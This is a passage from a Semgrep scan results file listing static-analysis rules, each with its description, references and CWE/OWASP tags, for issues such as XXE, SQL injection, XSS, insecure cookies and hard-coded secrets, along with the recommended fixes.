KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure Kinesis stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure Kinesis stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk","id":"terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk","name":"terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Django cookies should be handled securely by setting secure=True, httponly=True, and samesite='Lax' in response.set_cookie(...). If your situation calls for different settings, explicitly disable the setting. If you want to send the cookie over http, set secure=False. If you want to let client-side JavaScript read the cookie, set httponly=False. If you want to attach cookies to requests for external sites, set samesite=None."},"help":{"markdown":"Django cookies should be handled securely by setting secure=True, httponly=True, and samesite='Lax' in response.set_cookie(...). If your situation calls for different settings, explicitly disable the setting. If you want to send the cookie over http, set secure=False. If you want to let client-side JavaScript read the cookie, set httponly=False. If you want to attach cookies to requests for external sites, set samesite=None.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.secure-cookies.django-secure-set-cookie)\n - [https://docs.djangoproject.com/en/3.0/ref/request-response/#django.http.HttpResponse.set_cookie](https://docs.djangoproject.com/en/3.0/ref/request-response/#django.http.HttpResponse.set_cookie)\n - [https://semgrep.dev/blog/2020/bento-check-keeping-cookies-safe-in-flask/](https://semgrep.dev/blog/2020/bento-check-keeping-cookies-safe-in-flask/)\n - [https://bento.dev/checks/flask/secure-set-cookie/](https://bento.dev/checks/flask/secure-set-cookie/)\n","text":"Django cookies should be handled securely by setting secure=True, httponly=True, and samesite='Lax' in response.set_cookie(...). If your situation calls for different settings, explicitly disable the setting. If you want to send the cookie over http, set secure=False. If you want to let client-side JavaScript read the cookie, set httponly=False. If you want to attach cookies to requests for external sites, set samesite=None."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.secure-cookies.django-secure-set-cookie","id":"python.django.security.audit.secure-cookies.django-secure-set-cookie","name":"python.django.security.audit.secure-cookies.django-secure-set-cookie","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.secure-cookies.django-secure-set-cookie"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"source_hash' is only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Instead, use another hash function."},"help":{"markdown":"source_hash' is only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Instead, use another hash function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib)\n","text":"source_hash' is only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Instead, use another hash function."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib","id":"python.lang.compatibility.python37.python37-compatibility-importlib","name":"python.lang.compatibility.python37.python37-compatibility-importlib","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-importlib"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"help":{"markdown":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none)\n - [https://flask-login.readthedocs.io/en/latest/#session-protection](https://flask-login.readthedocs.io/en/latest/#session-protection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none","id":"python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none","name":"python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none","properties":{"precision":"very-high","tags":["CWE-613: Insufficient Session Expiration","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key","id":"go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key","name":"go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret","id":"kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret","name":"kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep","id":"java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep","name":"java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring","id":"java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring","name":"java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Telegram Bot API Key detected"},"help":{"markdown":"Telegram Bot API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Telegram Bot API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key","id":"generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key","name":"generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or conduct other typical XSS attacks."},"help":{"markdown":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or conduct other typical XSS attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-loadhtmlstring-xss.swift-webview-xss)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or conduct other typical XSS attacks."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-loadhtmlstring-xss.swift-webview-xss","id":"swift.webview.webview-loadhtmlstring-xss.swift-webview-xss","name":"swift.webview.webview-loadhtmlstring-xss.swift-webview-xss","properties":{"precision":"very-high","tags":["CWE-79:Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-loadhtmlstring-xss.swift-webview-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The libxml library processes user-input with the `noent` attribute is set to `true` which can lead to being vulnerable to XML External Entities (XXE) type attacks. It is recommended to set `noent` to `false` when using this feature to ensure you are protected."},"help":{"markdown":"The libxml library processes user-input with the `noent` attribute is set to `true` which can lead to being vulnerable to XML External Entities (XXE) type attacks. It is recommended to set `noent` to `false` when using this feature to ensure you are protected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-libxml-noent.express-libxml-noent)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"The libxml library processes user-input with the `noent` attribute is set to `true` which can lead to being vulnerable to XML External Entities (XXE) type attacks. It is recommended to set `noent` to `false` when using this feature to ensure you are protected."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-libxml-noent.express-libxml-noent","id":"javascript.express.security.audit.express-libxml-noent.express-libxml-noent","name":"javascript.express.security.audit.express-libxml-noent.express-libxml-noent","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-libxml-noent.express-libxml-noent"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CORS policy allows any origin (using wildcard '*'). This is insecure and should be avoided."},"help":{"markdown":"CORS policy allows any origin (using wildcard '*'). This is insecure and should be avoided.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.security.wildcard-cors.wildcard-cors)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://cwe.mitre.org/data/definitions/942.html](https://cwe.mitre.org/data/definitions/942.html)\n","text":"CORS policy allows any origin (using wildcard '*'). This is insecure and should be avoided."},"helpUri":"https://semgrep.dev/r/python.fastapi.security.wildcard-cors.wildcard-cors","id":"python.fastapi.security.wildcard-cors.wildcard-cors","name":"python.fastapi.security.wildcard-cors.wildcard-cors","properties":{"precision":"very-high","tags":["CWE-942: Permissive Cross-domain Policy with Untrusted Domains","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.security.wildcard-cors.wildcard-cors"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in an aiopg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can create parameterized queries like so: 'cur.execute(\"SELECT %s FROM table\", (user_value,))'."},"help":{"markdown":"Detected string concatenation with a non-literal variable in an aiopg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can create parameterized queries like so: 'cur.execute(\"SELECT %s FROM table\", (user_value,))'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli)\n - [https://github.com/aio-libs/aiopg](https://github.com/aio-libs/aiopg)\n","text":"Detected string concatenation with a non-literal variable in an aiopg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can create parameterized queries like so: 'cur.execute(\"SELECT %s FROM table\", (user_value,))'."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli","id":"python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli","name":"python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli","id":"kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli","name":"kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a unescaped variables using '&attributes'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"help":{"markdown":"Detected a unescaped variables using '&attributes'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes)\n - [https://pugjs.org/language/attributes.html#attributes](https://pugjs.org/language/attributes.html#attributes)\n","text":"Detected a unescaped variables using '&attributes'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes","id":"javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes","name":"javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.psycopg-sqli.psycopg-sqli)\n - [https://www.psycopg.org/docs/cursor.html#cursor.execute](https://www.psycopg.org/docs/cursor.html#cursor.execute)\n - 